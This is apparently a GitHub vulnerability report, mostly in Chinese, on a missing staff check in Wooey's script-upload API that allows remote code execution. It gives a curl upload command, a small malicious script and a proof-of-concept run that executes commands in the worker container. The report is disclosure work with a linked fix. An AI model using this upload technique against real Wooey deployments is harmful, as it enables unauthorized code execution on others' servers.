# [Security] Missing authorization check in add_or_update_script API allows RCE by any authenticated user #408 ## 漏洞概述 Wooey 的 `add_or_update_script` API 端点(`/api/scripts/v1/add-or-update/`)仅检查用户是否已认证(`@requires_login`),但未验证用户是否具有 `staff/admin` 权限。这导致任何已注册用户都可以上传并注册任意 Python 脚本,这些脚本随后会被 Celery 工作节点执行,从而导致**远程代码执行(RCE)**。 根据官方文档,脚本应仅由具有管理员权限的用户上传。 ## 影响范围 - **受影响版本**: - `master` 分支(当前 `setup.py` 显示 0.13.3) - `woeey/api` 模块(包括 `add_or_update_script`)在 v0.13.2 或更早版本中不存在 - 从 Docker 镜像(基于 master 构建)部署的用户受影响 - **严重程度**:Critical - **类型**:Broken Access Control → Remote Code Execution - **影响**: - 任何已注册(非管理员)用户可上传任意 Python 脚本 - 脚本以 `woeey` 服务用户的权限执行,拥有: - 对应用程序目录的读写访问权限 - 通过环境变量访问数据库凭据 - 对内部服务(数据库、消息队列)的网络访问权限 - 能够建立反向 shell ## 修复方案 已提交修复 PR #407。该修复在 `add_or_update_script` 入口添加 `is_staff` 检查,为非 staff 用户返回 403 Forbidden。这与安全文档一致,即脚本应由具有管理员权限的用户上传。 ## POC 代码 ### 上传恶意脚本的 curl 命令 ```bash curl -X POST http://localhost:8080/api/scripts/v1/add-or-update/ \ -H "Authorization: Bearer API_KEY" \ -F "evil_script=evil.py" \ -F "default=true" \ -F "ignore_bad_import=true" ``` ### evil.py 内容 ```python import argparse, os parser = argparse.ArgumentParser() parser.add_argument("-i", default="1") args = parser.parse_args() print("RCE:", os.popen("id").read()) ``` ### 终端输出 POC ```bash jackie@jackiePro: $ docker exec woeey-celery-1 ls /tmp woeey jackie@jackiePro: $ python3 poc.py -t http://127.0.0.1:8081 -c "whoami | tee /tmp/pwned" [*] Woeey RCE Poc ============================================================ [*] Target: http://127.0.0.1:8081/ [*] Step 1: Registering user (testuser) Registration failed/exists, trying login... Authenticated (is_staff=False, is_superuser=False) [*] Step 2: Uploading malicious script (cmd: whoami | tee /tmp/pwned) Upload successful: audit_1775785305 [*] Step 3: Executing malicious script Job submitted: Job ID#8 [*] Step 4: Waiting for results... Status: completed ============================================================ [*] RCE OUTPUT: ============================================================ [*] RCE Proof hostname: 644f76ec28d91 User: woeey uid=1000(woeey) gid=1000(woeey) groups=1000(woeey) uid=1000(woeey) gid=1000(woeey) groups=1000(woeey) whoami | tee /tmp/pwned woeey jackie@jackiePro: $ docker exec woeey-celery-1 ls /tmp woeey pwned jackie@jackiePro: $ docker exec woeey-celery-1 cat /tmp/pwned woeey jackie@jackiePro: $ ```